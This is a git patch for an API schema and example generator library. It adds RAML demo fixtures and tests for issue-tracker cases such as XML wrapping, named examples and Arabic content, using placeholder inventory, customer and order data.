 src/schema/ApiSchemaValues.d.ts               |   96 ++
 src/schema/ApiSchemaValues.js                 |  377 +++++
 src/schema/Utils.js                           |  203 +++
 src/schema/data-node/DataNodeBase.js          |   87 ++
 src/schema/data-node/JsonDataNodeGenerator.js |   26 +
 src/schema/data-node/README.md                |    3 +
 .../data-node/UrlEncodedDataNodeGenerator.js  |   47 +
 src/schema/data-node/XmlDataNodeGenerator.js  |   31 +
 src/schema/shape/README.md                    |    4 +
 src/schema/shape/ShapeBase.d.ts               |   70 +
 src/schema/shape/ShapeBase.js                 |  278 ++++
 .../shape/ShapeJsonSchemaGenerator.d.ts       |   61 +
 src/schema/shape/ShapeJsonSchemaGenerator.js  |  396 ++++++
 src/schema/shape/ShapeXmlSchemaGenerator.d.ts |   95 ++
 src/schema/shape/ShapeXmlSchemaGenerator.js   |  531 +++++++
 src/types.d.ts                                |   96 +-
 test/AmfLoader.js                             |   42 +
 test/generators/APIC-187.test.js              |   52 +
 test/generators/APIC-188.test.js              |   36 +
 test/generators/APIC-233.test.js              |   39 +
 test/generators/APIC-391.test.js              |   45 +
 test/generators/APIC-487.test.js              |   50 +
 test/generators/APIC-655.test.js              |   47 +
 test/generators/APIC-689.test.js              |   36 +
 test/generators/APIC-690.test.js              |   62 +
 test/generators/ApiExampleGenerator.test.js   |  237 ++++
 .../ApiMonacoSchemaGenerator.test.js          |  182 +++
 test/generators/ApiSchemaGenerator.test.js    | 1236 +++++++++++++++++
 test/generators/ApiSchemaValues.test.js       |  563 ++++++++
 test/generators/SE-10469.test.js              |   41 +
 test/generators/SE-13092.test.js              |   70 +
 test/generators/SE-22063.test.js              |   52 +
 .../ShapeXmlSchemaGenerator.test.js           |   30 +
 test/generators/raml-examples.test.js         |   50 +
 test/generators/tracked-to-linked.test.js     |  120 ++
 test/generators/xml-data-processing.test.js   |  311 +++++
 test/shapes/ShapeBase.test.js                 |   50 +
 121 files changed, 8765 insertions(+), 41 deletions(-)
 create mode 100644 demo/apis/APIC-187/APIC-187.raml
 create mode 100644 demo/apis/APIC-187/dataType.raml
 create mode 100644 demo/apis/APIC-187/example.raml
 create mode 100644 demo/apis/APIC-188/APIC-188.raml
 create mode 100644 demo/apis/APIC-188/dataType.raml
 create mode 100644 demo/apis/APIC-188/example.raml
 create mode 100644 demo/apis/APIC-233/APIC-233.raml
 create mode 100644 demo/apis/APIC-391/APIC-391.raml
 create mode 100644 demo/apis/APIC-391/examples/post-body-request-example.raml
 create mode 100644 demo/apis/APIC-487/APIC-487.raml
 create mode 100644 demo/apis/APIC-655/APIC-655.raml
 create mode 100644 demo/apis/APIC-655/delivery.json
 create mode 100644 demo/apis/APIC-690/APIC-690.raml
 create mode 100644 demo/apis/APIC-690/datatypes/Address.raml
 create mode 100644 demo/apis/APIC-690/datatypes/Customer.raml
 create mode 100644 demo/apis/APIC-690/examples/CustomerExample2.raml
 create mode 100644 demo/apis/APIC-690/examples/CustomersExample.raml
 create mode 100644 demo/apis/SE-13092/Examples/PersonExample.raml
 create mode 100644 demo/apis/SE-13092/SE-13092.raml
 create mode 100644 demo/apis/SE-13092/datatypes/Address.raml
 create mode 100644 demo/apis/SE-13092/datatypes/InlineType.raml
 create mode 100644 demo/apis/SE-13092/datatypes/Person.raml
 create mode 100644 demo/apis/SE-22063/SE-22063.raml
 create mode 100644 demo/apis/SE-22063/stock.raml
 create mode 100644 demo/apis/example-generator-api/contact-email-example.raml
 create mode 100644 demo/apis/example-generator-api/contact-example.raml
 create mode 100644 demo/apis/example-generator-api/contact-fax-example.raml
 create mode 100644 demo/apis/example-generator-api/contact-website-example.raml
 create mode 100644 demo/apis/example-generator-api/example-1.raml
 create mode 100644 demo/apis/example-generator-api/example-2.raml
 create mode 100644 demo/apis/example-generator-api/example-3.raml
 create mode 100644 demo/apis/example-generator-api/example-4.raml
 create mode 100644 demo/apis/example-generator-api/example-5.raml
 create mode 100644 demo/apis/example-generator-api/example-6.raml
 create mode 100644 demo/apis/example-generator-api/example-7.raml
 create mode 100644 demo/apis/example-generator-api/example-generator-api.raml
 create mode 100644 demo/apis/example-generator-api/example.json
 create mode 100644 demo/apis/example-generator-api/example.xml
 create mode 100644 demo/apis/example-generator-api/example.xsd
 create mode 100644 demo/apis/example-generator-api/examples/employee.raml
 create mode 100644 demo/apis/example-generator-api/examples/employees.raml
 create mode 100644 demo/apis/example-generator-api/linked-named-example.raml
 create mode 100644 demo/apis/example-generator-api/named-example-with-link.raml
 create mode 100644 demo/apis/example-generator-api/named-example.raml
 create mode 100644 demo/apis/example-generator-api/user-json-example.raml
 create mode 100644 demo/apis/example-generator-api/user-raml-example.raml
 create mode 100644 demo/apis/example-generator-api/user.json
 create mode 100644 demo/apis/example-generator-api/user.raml
 create mode 100644 demo/apis/example-generator-api/users-json-example.raml
 create mode 100644 demo/apis/example-generator-api/users-raml-example.raml
 create mode 100644 demo/apis/example-generator-api/users.json
 create mode 100644 demo/apis/schema-api/examples/person.json
 create mode 100644 demo/apis/schema-api/examples/person.raml
 create mode 100644 demo/apis/schema-api/examples/person.url.encoded
 create mode 100644 demo/apis/schema-api/examples/person.xml
 create mode 100644 demo/apis/schema-api/library/demo-types.raml
 create mode 100644 demo/apis/schema-api/schema-api.raml
 create mode 100644 demo/apis/schema-api/schemas/person.json
 create mode 100644 demo/apis/schema-api/schemas/person.xsd
 create mode 100644 demo/apis/schema-api/types/DemoPerson.raml
 create mode 100755 demo/apis/tracked-examples/datatypes/employee.raml
 create mode 100755 demo/apis/tracked-examples/examples/employee.raml
 create mode 100755 demo/apis/tracked-examples/examples/employees.raml
 create mode 100755 demo/apis/tracked-examples/tracked-to-linked.raml
 create mode 100644 src/schema/ApiExampleGenerator.d.ts
 create mode 100644 src/schema/ApiExampleGenerator.js
 create mode 100644 src/schema/ApiMonacoSchemaGenerator.d.ts
 create mode 100644 src/schema/ApiMonacoSchemaGenerator.js
 create mode 100644 src/schema/ApiSchemaGenerator.d.ts
 create mode 100644 src/schema/ApiSchemaGenerator.js
 create mode 100644 src/schema/ApiSchemaValues.d.ts
 create mode 100644 src/schema/ApiSchemaValues.js
 create mode 100644 src/schema/Utils.js
 create mode 100644 src/schema/data-node/DataNodeBase.js
 create mode 100644 src/schema/data-node/JsonDataNodeGenerator.js
 create mode 100644 src/schema/data-node/README.md
 create mode 100644 src/schema/data-node/UrlEncodedDataNodeGenerator.js
 create mode 100644 src/schema/data-node/XmlDataNodeGenerator.js
 create mode 100644 src/schema/shape/README.md
 create mode 100644 src/schema/shape/ShapeBase.d.ts
 create mode 100644 src/schema/shape/ShapeBase.js
 create mode 100644 src/schema/shape/ShapeJsonSchemaGenerator.d.ts
 create mode 100644 src/schema/shape/ShapeJsonSchemaGenerator.js
 create mode 100644 src/schema/shape/ShapeXmlSchemaGenerator.d.ts
 create mode 100644 src/schema/shape/ShapeXmlSchemaGenerator.js
 create mode 100644 test/generators/APIC-187.test.js
 create mode 100644 test/generators/APIC-188.test.js
 create mode 100644 test/generators/APIC-233.test.js
 create mode 100644 test/generators/APIC-391.test.js
 create mode 100644 test/generators/APIC-487.test.js
 create mode 100644 test/generators/APIC-655.test.js
 create mode 100644 test/generators/APIC-689.test.js
 create mode 100644 test/generators/APIC-690.test.js
 create mode 100644 test/generators/ApiExampleGenerator.test.js
 create mode 100644 test/generators/ApiMonacoSchemaGenerator.test.js
 create mode 100644 test/generators/ApiSchemaGenerator.test.js
 create mode 100644 test/generators/ApiSchemaValues.test.js
 create mode 100644 test/generators/SE-10469.test.js
 create mode 100644 test/generators/SE-13092.test.js
 create mode 100644 test/generators/SE-22063.test.js
 create mode 100644 test/generators/ShapeXmlSchemaGenerator.test.js
 create mode 100644 test/generators/raml-examples.test.js
 create mode 100644 test/generators/tracked-to-linked.test.js
 create mode 100644 test/generators/xml-data-processing.test.js
 create mode 100644 test/shapes/ShapeBase.test.js

diff --git a/demo/apis/APIC-187/APIC-187.raml b/demo/apis/APIC-187/APIC-187.raml
new file mode 100644
index 0000000..fc19793
--- /dev/null
+++ b/demo/apis/APIC-187/APIC-187.raml
@@ -0,0 +1,21 @@
+#%RAML 1.0
+title: api
+types:
+  recordCreateRequest : !include dataType.raml
+
+
+/record:
+  displayName: Inventory Record
+  description: Resource to request the Update and Create inventory records
+  post:
+    displayName: Create inventory records
+    description: Create multiple inventory records
+    headers:
+      Authorization:
+        type: string
+        required: true
+        example: 'Bearer 00D3C0000000kXR!ARMAQN942GQWCIeeQMaSCKBQZaAZcYoi0kTx2pOvA8vfGb85Ae6Sb5KNwvqR73K3PCsgH89voKsZZ0ztqAzYWjLiw736BhS4'
+    body:
+      application/json:
+        type: recordCreateRequest
+        examples: !include example.raml 
diff --git a/demo/apis/APIC-187/dataType.raml b/demo/apis/APIC-187/dataType.raml
new file mode 100644
index 0000000..2c87795
--- /dev/null
+++ b/demo/apis/APIC-187/dataType.raml
@@ -0,0 +1,132 @@
+#%RAML 1.0 DataType
+
+displayName: Record type
+description: Fields for create a new record
+properties:
+  allOrNone:
+    type: boolean
+    required: true
+  records:
+    type: array
+    required: true
+    items:
+      type: object
+      properties:
+        attributes:
+          type: object
+          properties:
+            type:
+              type: string
+              required: true
+        Name:
+          type: string
+          required: true
+        AS400Location:
+          type: string
+          required: true
+        AS400CityName:
+          type: string
+          required: true
+        Year:
+          type: string
+          required: true
+        Make:
+          type: string
+          required: true
+        Model:
+          type: string
+          required: true
+        ModelType:
+          type: string
+          required: true
+        Type:
+          type: string
+          required: true
+        Weight:
+          type: number
+          required: true
+        Serial:
+          type: string
+          required: true
+        AcquiredDate:
+          type: date-only
+          required: true
+        InService:
+          type: date-only
+          required: true
+        MaintenanceCode:
+          type: string
+          required: true
+        MaintenanceCodeDescription:
+          type: string
+          required: true
+        AS400ECM:
+          type: number
+          required: true
+        AS400Status:
+          type: string
+          required: true
+        IQDate:
+          type: date-only
+          required: true
+        Engine:
+          type: string
+          required: true
+        EngineSerial:
+          type: string
+          required: true
+        EngineWarranty:
+          type: date-only
+          required: true
+        EngineArrangement:
+          type: string
+          required: true
+        TransmissionSerial:
+          type: string
+          required: true
+        TransmissionRearRatio:
+          type: number
+          required: true
+        TransmissionRearRearSN:
+          type: string
+          required: true
+        TransmissionFrontRearSN:
+          type: string
+          required: true
+        BookValue:
+          type: number
+          required: true
+        BookValueAsOf:
+          type: date-only
+          required: true
+        Depreciation:
+          type: number
+          required: true
+        Age:
+          type: number
+          required: true
+        AssetDescription:
+          type: string
+          required: true
+        CabType:
+          type: string
+          required: true
+        Color:
+          type: string
+          required: true
+        TCUType:
+          type: string
+          required: true
+        TCUHours:
+          type: number
+          required: true
+        Length:
+          type: number
+          required: true
+        Axles:
+          type: number
+          required: true
+        InventoryType:
+          type: string
+          enum: [Tractor, Trailer]
+          required: true
diff --git a/demo/apis/APIC-187/example.raml b/demo/apis/APIC-187/example.raml
new file mode 100644
index 0000000..1ec48c2
--- /dev/null
+++ b/demo/apis/APIC-187/example.raml
@@ -0,0 +1,84 @@
+#%RAML 1.0 NamedExample
+cordCreateRequestExample:
+  allOrNone: false
+  records:
+    -
+      attributes:
+        type: "Inventory__c"
+      Name: "70226"
+      AS400Location: "OMANE"
+      AS400CityName: "Omaha, DG"
+      Year: "2016"
+      Make: "FRT"
+      Model: "CASCADIA"
+      ModelType: "CAS"
+      Type: "OOP"
+      Weight: 9300
+      Serial: "ABCDEF123"
+      AcquiredDate: "2019-01-16"
+      InService: "2019-01-16"
+      MaintenanceCode: "V9"
+      MaintenanceCodeDescription: "V9"
+      AS400ECM: 401571.60
+      AS400Status: "INVTM"
+      IQDate: "2019-01-16"
+      Engine: "D13"
+      EngineSerial: "ABC123"
+      EngineWarranty: "2019-01-16"
+      EngineArrangement: "ABC123"
+      TransmissionSerial: "ABC123"
+      TransmissionRearRatio: 1
+      TransmissionRearRearSN: "1"
+      TransmissionFrontRearSN: "1"
+      BookValue: 10000
+      BookValueAsOf: "2019-01-16"
+      Depreciation: 10
+      Age: 1
+      AssetDescription: "Asset"
+      CabType: "A"
+      Color: "BLUE"
+      TCUType: "THERMOKING"
+      TCUHours: 12
+      Length: 12
+      Axles: 14
+      InventoryType: Tractor
+    -
+      attributes:
+        type: "Inventory__c"
+      Name: "70227"
+      AS400Location: "OMANE"
+      AS400CityName: "Omaha, DG"
+      Year: "2016"
+      Make: "FRT"
+      Model: "CASCADIA"
+      ModelType: "CAS"
+      Type: "OOP"
+      Weight: 9300
+      Serial: "ABCDEF123"
+      AcquiredDate: "2019-01-16"
+      InService: "2019-01-16"
+      MaintenanceCode: "V9"
+      MaintenanceCodeDescription: "V9"
+      AS400ECM: 401571.60
+      AS400Status: "INVTM"
+      IQDate: "2019-01-16"
+      Engine: "D13"
+      EngineSerial: "ABC123"
+      EngineWarranty: "2019-01-16"
+      EngineArrangement: "ABC123"
+      TransmissionSerial: "ABC123"
+      TransmissionRearRatio: 1
+      TransmissionRearRearSN: "1"
+      TransmissionFrontRearSN: "1"
+      BookValue: 10000
+      BookValueAsOf: "2019-01-16"
+      Depreciation: 10
+      Age: 1
+      AssetDescription: "Asset"
+      CabType: "A"
+      Color: "BLUE"
+      TCUType: "THERMOKING"
+      TCUHours: 12
+      Length: 12
+      Axles: 14
+      InventoryType: Tractor
diff --git a/demo/apis/APIC-188/APIC-188.raml b/demo/apis/APIC-188/APIC-188.raml
new file mode 100644
index 0000000..fc19793
--- /dev/null
+++ b/demo/apis/APIC-188/APIC-188.raml
@@ -0,0 +1,21 @@
+#%RAML 1.0
+title: api
+types:
+  recordCreateRequest : !include dataType.raml
+
+
+/record:
+  displayName: Inventory Record
+  description: Resource to request the Update and Create inventory records
+  post:
+    displayName: Create inventory records
+    description: Create multiple inventory records
+    headers:
+      Authorization:
+        type: string
+        required: true
+        example: 'Bearer 00D3C0000000kXR!ARMAQN942GQWCIeeQMaSCKBQZaAZcYoi0kTx2pOvA8vfGb85Ae6Sb5KNwvqR73K3PCsgH89voKsZZ0ztqAzYWjLiw736BhS4'
+    body:
+      application/json:
+        type: recordCreateRequest
+        examples: !include example.raml 
diff --git a/demo/apis/APIC-188/dataType.raml b/demo/apis/APIC-188/dataType.raml
new file mode 100644
index 0000000..2c87795
--- /dev/null
+++ b/demo/apis/APIC-188/dataType.raml
@@ -0,0 +1,132 @@
+#%RAML 1.0 DataType
+
+displayName: Record type
+description: Fields for create a new record
+properties:
+  allOrNone:
+    type: boolean
+    required: true
+  records:
+    type: array
+    required: true
+    items:
+      type: object
+      properties:
+        attributes:
+          type: object
+          properties:
+            type:
+              type: string
+              required: true
+        Name:
+          type: string
+          required: true
+        AS400Location:
+          type: string
+          required: true
+        AS400CityName:
+          type: string
+          required: true
+        Year:
+          type: string
+          required: true
+        Make:
+          type: string
+          required: true
+        Model:
+          type: string
+          required: true
+        ModelType:
+          type: string
+          required: true
+        Type:
+          type: string
+          required: true
+        Weight:
+          type: number
+          required: true
+        Serial:
+          type: string
+          required: true
+        AcquiredDate:
+          type: date-only
+          required: true
+        InService:
+          type: date-only
+          required: true
+        MaintenanceCode:
+          type: string
+          required: true
+        MaintenanceCodeDescription:
+          type: string
+          required: true
+        AS400ECM:
+          type: number
+          required: true
+        AS400Status:
+          type: string
+          required: true
+        IQDate:
+          type: date-only
+          required: true
+        Engine:
+          type: string
+          required: true
+        EngineSerial:
+          type: string
+          required: true
+        EngineWarranty:
+          type: date-only
+          required: true
+        EngineArrangement:
+          type: string
+          required: true
+        TransmissionSerial:
+          type: string
+          required: true
+        TransmissionRearRatio:
+          type: number
+          required: true
+        TransmissionRearRearSN:
+          type: string
+          required: true
+        TransmissionFrontRearSN:
+          type: string
+          required: true
+        BookValue:
+          type: number
+          required: true
+        BookValueAsOf:
+          type: date-only
+          required: true
+        Depreciation:
+          type: number
+          required: true
+        Age:
+          type: number
+          required: true
+        AssetDescription:
+          type: string
+          required: true
+        CabType:
+          type: string
+          required: true
+        Color:
+          type: string
+          required: true
+        TCUType:
+          type: string
+          required: true
+        TCUHours:
+          type: number
+          required: true
+        Length:
+          type: number
+          required: true
+        Axles:
+          type: number
+          required: true
+        InventoryType:
+          type: string
+          enum: [Tractor, Trailer]
+          required: true
diff --git a/demo/apis/APIC-188/example.raml b/demo/apis/APIC-188/example.raml
new file mode 100644
index 0000000..1ec48c2
--- /dev/null
+++ b/demo/apis/APIC-188/example.raml
@@ -0,0 +1,84 @@
+#%RAML 1.0 NamedExample
+cordCreateRequestExample:
+  allOrNone: false
+  records:
+    -
+      attributes:
+        type: "Inventory__c"
+      Name: "70226"
+      AS400Location: "OMANE"
+      AS400CityName: "Omaha, DG"
+      Year: "2016"
+      Make: "FRT"
+      Model: "CASCADIA"
+      ModelType: "CAS"
+      Type: "OOP"
+      Weight: 9300
+      Serial: "ABCDEF123"
+      AcquiredDate: "2019-01-16"
+      InService: "2019-01-16"
+      MaintenanceCode: "V9"
+      MaintenanceCodeDescription: "V9"
+      AS400ECM: 401571.60
+      AS400Status: "INVTM"
+      IQDate: "2019-01-16"
+      Engine: "D13"
+      EngineSerial: "ABC123"
+      EngineWarranty: "2019-01-16"
+      EngineArrangement: "ABC123"
+      TransmissionSerial: "ABC123"
+      TransmissionRearRatio: 1
+      TransmissionRearRearSN: "1"
+      TransmissionFrontRearSN: "1"
+      BookValue: 10000
+      BookValueAsOf: "2019-01-16"
+      Depreciation: 10
+      Age: 1
+      AssetDescription: "Asset"
+      CabType: "A"
+      Color: "BLUE"
+      TCUType: "THERMOKING"
+      TCUHours: 12
+      Length: 12
+      Axles: 14
+      InventoryType: Tractor
+    -
+      attributes:
+        type: "Inventory__c"
+      Name: "70227"
+      AS400Location: "OMANE"
+      AS400CityName: "Omaha, DG"
+      Year: "2016"
+      Make: "FRT"
+      Model: "CASCADIA"
+      ModelType: "CAS"
+      Type: "OOP"
+      Weight: 9300
+      Serial: "ABCDEF123"
+      AcquiredDate: "2019-01-16"
+      InService: "2019-01-16"
+      MaintenanceCode: "V9"
+      MaintenanceCodeDescription: "V9"
+      AS400ECM: 401571.60
+      AS400Status: "INVTM"
+      IQDate: "2019-01-16"
+      Engine: "D13"
+      EngineSerial: "ABC123"
+      EngineWarranty: "2019-01-16"
+      EngineArrangement: "ABC123"
+      TransmissionSerial: "ABC123"
+      TransmissionRearRatio: 1
+      TransmissionRearRearSN: "1"
+      TransmissionFrontRearSN: "1"
+      BookValue: 10000
+      BookValueAsOf: "2019-01-16"
+      Depreciation: 10
+      Age: 1
+      AssetDescription: "Asset"
+      CabType: "A"
+      Color: "BLUE"
+      TCUType: "THERMOKING"
+      TCUHours: 12
+      Length: 12
+      Axles: 14
+      InventoryType: Tractor
diff --git a/demo/apis/APIC-233/APIC-233.raml b/demo/apis/APIC-233/APIC-233.raml
new file mode 100644
index 0000000..3ef477a
--- /dev/null
+++ b/demo/apis/APIC-233/APIC-233.raml
@@ -0,0 +1,15 @@
+#%RAML 0.8
+title: Arabic Test 0.8
+
+version: v1
+
+/stuff:
+  get:
+    responses:
+      200:
+        description: بينغ
+        body:
+          application/json:
+            example:
+              الحالة: حسنا
+              message: Shop in الممل
diff --git a/demo/apis/APIC-391/APIC-391.raml b/demo/apis/APIC-391/APIC-391.raml
new file mode 100644
index 0000000..3a858c2
--- /dev/null
+++ b/demo/apis/APIC-391/APIC-391.raml
@@ -0,0 +1,44 @@
+#%RAML 1.0
+title: Shipment request experience API
+version: v1
+mediaType: [application/xml]
+
+types:
+  reference:
+    type: object
+    properties:
+      referenceType:
+        type: string
+        maxLength: 50
+      referenceValue:
+        type: string
+        maxLength: 100
+    xml:
+      name: reference
+  references:
+        type: reference[]
+        xml:
+          wrapped: true
+          name: references
+  shipmentRequest:
+    type: object
+    additionalProperties: false
+    description: Describes a single shipping request record
+    xml:
+      name: shipmentRequest
+    properties:
+      address:
+        type: string
+        maxLength: 60
+      comments:
+        type: string
+        default:
+      references?:
+        type: references        
+      
+/shipment-requests:
+  post:
+    body:
+      application/xml:
+        type: shipmentRequest | shipmentRequest[]
+        examples: !include examples/post-body-request-example.raml
diff --git a/demo/apis/APIC-391/examples/post-body-request-example.raml b/demo/apis/APIC-391/examples/post-body-request-example.raml
new file mode 100644
index 0000000..ca13efb
--- /dev/null
+++ b/demo/apis/APIC-391/examples/post-body-request-example.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+ post-body-request-single-example:
+    address: 250 HIDEOUT LN
+    comments: Orgin comments entered here.
+    references:
+    - referenceType: Delivery Note
+      referenceValue: '7328'
\ No newline at end of file
diff --git a/demo/apis/APIC-487/APIC-487.raml b/demo/apis/APIC-487/APIC-487.raml
new file mode 100644
index 0000000..7f9680f
--- /dev/null
+++ b/demo/apis/APIC-487/APIC-487.raml
@@ -0,0 +1,36 @@
+#%RAML 1.0
+title: api
+
+types:
+  Person:
+    properties:
+      addresses:
+        type: Address[]
+        xml:
+          wrapped: false
+  WrappedPerson:
+    properties:
+      addresses:
+        type: Address[]
+        xml:
+          wrapped: true
+  Address:
+    properties:
+      street: string
+      city: string
+
+/test1:
+  get:
+    responses:
+      200:
+        body:
+          application/xml:
+            type: Person
+
+/test2:
+  post:
+    responses:
+      200:
+        body:
+          application/xml:
+            type: WrappedPerson
diff --git a/demo/apis/APIC-655/APIC-655.raml b/demo/apis/APIC-655/APIC-655.raml
new file mode 100644
index 0000000..14019cb
--- /dev/null
+++ b/demo/apis/APIC-655/APIC-655.raml
@@ -0,0 +1,44 @@
+#%RAML 1.0
+title: xml-wrapper-demo
+
+types:
+  Delivery:
+    example: !include delivery.json
+    properties: 
+      orderId:
+        type: string
+        example: "732482783718"
+      lineItems:
+        type: DeliveryLine[]
+        minItems: 1
+  Delivery2:
+    example: !include delivery.json
+    properties:
+      orderId:
+        type: string
+        example: "732482783718"
+      lineItems:
+        type: DeliveryLine[]
+        minItems: 1
+        xml:
+          wrapped: true
+  DeliveryLine:
+    type: object
+    description: Order line item that is shipped
+    properties:
+      lineItemId:
+        type: string
+        example: "9738187235"
+      qty:
+        type: number
+        example: 10
+
+/delivery:
+  post:
+    body:
+      application/xml: Delivery
+
+/delivery2:
+  post:
+    body:
+      application/xml: Delivery2
\ No newline at end of file
diff --git a/demo/apis/APIC-655/delivery.json b/demo/apis/APIC-655/delivery.json
new file mode 100644
index 0000000..4e09876
--- /dev/null
+++ b/demo/apis/APIC-655/delivery.json
@@ -0,0 +1,12 @@
+{
+  "orderId": "732482783718",
+  "lineItems": [
+    {
+      "lineItemId": "9738187235",
+      "qty": 10
+    }, {
+      "lineItemId": "9832837238",
+      "qty": 70
+    }
+  ]
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-690/APIC-690.raml b/demo/apis/APIC-690/APIC-690.raml
new file mode 100644
index 0000000..d39ad03
--- /dev/null
+++ b/demo/apis/APIC-690/APIC-690.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0
+title: ACME Banking API
+
+mediaType: 
+- application/json
+
+types:
+  Customer: !include datatypes/Customer.raml
+
+/customers:
+  get:
+    responses:
+      200:
+        body:
+          application/xml:
+            type: Customer[]
+            examples: !include examples/CustomersExample.raml
diff --git a/demo/apis/APIC-690/datatypes/Address.raml b/demo/apis/APIC-690/datatypes/Address.raml
new file mode 100644
index 0000000..c7c1b44
--- /dev/null
+++ b/demo/apis/APIC-690/datatypes/Address.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 DataType
+
+type: object
+properties:
+  addressLine1: string
+  addressLine2?: string
+  city: string
+  state: string
+  country: string
+  zipCode: string
\ No newline at end of file
diff --git a/demo/apis/APIC-690/datatypes/Customer.raml b/demo/apis/APIC-690/datatypes/Customer.raml
new file mode 100644
index 0000000..2b9f25a
--- /dev/null
+++ b/demo/apis/APIC-690/datatypes/Customer.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 DataType
+
+type: object
+properties:
+  customerID:         	string
+  prefix?:       		string
+  firstName:    		string
+  middleName?:   		string
+  lastName:     		string
+  suffix?:      		string
+  displayName:		string
+  address:			!include Address.raml
+  phone:        		string
+  email:        		string
+  ssn:          		string 
+  dateOfBirth:		date-only
+example: !include /examples/CustomerExample2.raml
\ No newline at end of file
diff --git a/demo/apis/APIC-690/examples/CustomerExample2.raml b/demo/apis/APIC-690/examples/CustomerExample2.raml
new file mode 100644
index 0000000..eeb708d
--- /dev/null
+++ b/demo/apis/APIC-690/examples/CustomerExample2.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+value:
+  customerID: 2-8f19c230-vs57-429d
+  firstName: Max 2
+  lastName: Mule 2
+  displayName: Max the Mule
+  address: 
+    addressLine1: 123 Street
+    addressLine2: Apt.#3D
+    city: San Francisco
+    state: California
+    zipCode: '94110'
+    country: United States
+  phone: 415-000-0000
+  email: max@mulesoft.com
+  ssn: 123-456-7890
+  dateOfBirth: 1988-07-01
diff --git a/demo/apis/APIC-690/examples/CustomersExample.raml b/demo/apis/APIC-690/examples/CustomersExample.raml
new file mode 100644
index 0000000..89a02e6
--- /dev/null
+++ b/demo/apis/APIC-690/examples/CustomersExample.raml
@@ -0,0 +1,34 @@
+#%RAML 1.0 NamedExample
+value:
+  - # 1st element
+    customerID: 1fe1c22s-3d3a-9n3v
+    firstName: Molly
+    lastName: Mule
+    displayName: Molly the Mule
+    address: 
+      addressLine1: 123 Street
+      addressLine2: Apt.#3D
+      city: San Francisco
+      state: California
+      zipCode: '94110'
+      country: United States
+    phone: 415-000-0000
+    email: molly@mulesoft.com
+    ssn: 321-654-0987
+    dateOfBirth: 1990-09-04
+  - # 2nd element
+    customerID: 8f19c230-vs57-429d
+    firstName: Max
+    lastName: Mule
+    displayName: Max the Mule
+    address: 
+      addressLine1: 123 Street
+      addressLine2: Apt.#3D
+      city: San Francisco
+      state: California
+      zipCode: '94110'
+      country: United States
+    phone: 415-000-0000
+    email: max@mulesoft.com
+    ssn: 123-456-7890
+    dateOfBirth: 1988-07-01
diff --git a/demo/apis/SE-10469/SE-10469.raml b/demo/apis/SE-10469/SE-10469.raml
index 0122c9d..768462b 100755
--- a/demo/apis/SE-10469/SE-10469.raml
+++ b/demo/apis/SE-10469/SE-10469.raml
@@ -1,12 +1,11 @@
 #%RAML 1.0
 version: v1
 title: Purina-Supplier-PurchaseOrder
-types:
-  purchaseOrder: !include Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
+# types:
+#   purchaseOrder: !include Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
+
 /purina/b2b/supplier/purchaseOrder:
-  get:
-    responses:
-      200:
-        body:
-          application/json:
-            type: !include Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
\ No newline at end of file
+  post:
+    body:
+      application/json:
+        type: !include Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json
diff --git a/demo/apis/SE-13092/Examples/PersonExample.raml b/demo/apis/SE-13092/Examples/PersonExample.raml
new file mode 100644
index 0000000..4cdc511
--- /dev/null
+++ b/demo/apis/SE-13092/Examples/PersonExample.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+ value:
+   name: TestName
+   addresses:
+     -
+       street: TestStreet 1
+       city: TestCity
\ No newline at end of file
diff --git a/demo/apis/SE-13092/SE-13092.raml b/demo/apis/SE-13092/SE-13092.raml
new file mode 100644
index 0000000..cf43f8d
--- /dev/null
+++ b/demo/apis/SE-13092/SE-13092.raml
@@ -0,0 +1,37 @@
+#%RAML 1.0
+baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/fc7ea85e-02e7-43f3-b5e2-750d94d34915/ #
+title: 00224662
+version: 1
+types:
+  Person: !include datatypes/Person.raml
+  Address: !include datatypes/Address.raml
+/customer:
+  post:
+    body:
+      application/xml:
+        type: !include datatypes/Person.raml
+    responses:
+      200:
+        body:
+          application/xml:
+            type: Person
+/should-be-incorrect:
+  post:
+    body:
+      application/xml:
+        type: !include datatypes/Person.raml
+    responses:
+      200:
+        body:
+          application/xml:
+            type: !include datatypes/Person.raml
+/incorrect-way:
+  post:
+    body:
+      application/xml:
+        type: !include datatypes/InlineType.raml
+    responses:
+      200:
+        body:
+          application/xml:
+            type: !include datatypes/InlineType.raml
diff --git a/demo/apis/SE-13092/datatypes/Address.raml b/demo/apis/SE-13092/datatypes/Address.raml
new file mode 100644
index 0000000..a41339e
--- /dev/null
+++ b/demo/apis/SE-13092/datatypes/Address.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 DataType
+type: object
+properties:
+  street: string
+  city: string
\ No newline at end of file
diff --git a/demo/apis/SE-13092/datatypes/InlineType.raml b/demo/apis/SE-13092/datatypes/InlineType.raml
new file mode 100644
index 0000000..8d6113e
--- /dev/null
+++ b/demo/apis/SE-13092/datatypes/InlineType.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 DataType
+type: object
+properties:
+  prop1: string
+  prop2: string
diff --git a/demo/apis/SE-13092/datatypes/Person.raml b/demo/apis/SE-13092/datatypes/Person.raml
new file mode 100644
index 0000000..82c7e73
--- /dev/null
+++ b/demo/apis/SE-13092/datatypes/Person.raml
@@ -0,0 +1,15 @@
+#%RAML 1.0 DataType
+ type: object
+ properties:
+   name:
+     type: string
+     xml:
+       attribute: true # serialize it as an XML attribute
+       name: fullname # attribute should be called fullname
+   addresses:
+     type: Address[]
+     xml:
+       wrapped: true
+ examples:
+   ex1:
+     !include ../Examples/PersonExample.raml
diff --git a/demo/apis/SE-22063/SE-22063.raml b/demo/apis/SE-22063/SE-22063.raml
new file mode 100644
index 0000000..bb3ffdd
--- /dev/null
+++ b/demo/apis/SE-22063/SE-22063.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0
+title: error-demo
+
+uses:
+  dataModel: stock.raml
+
+/demo:
+  post:
+    body:
+      application/json:
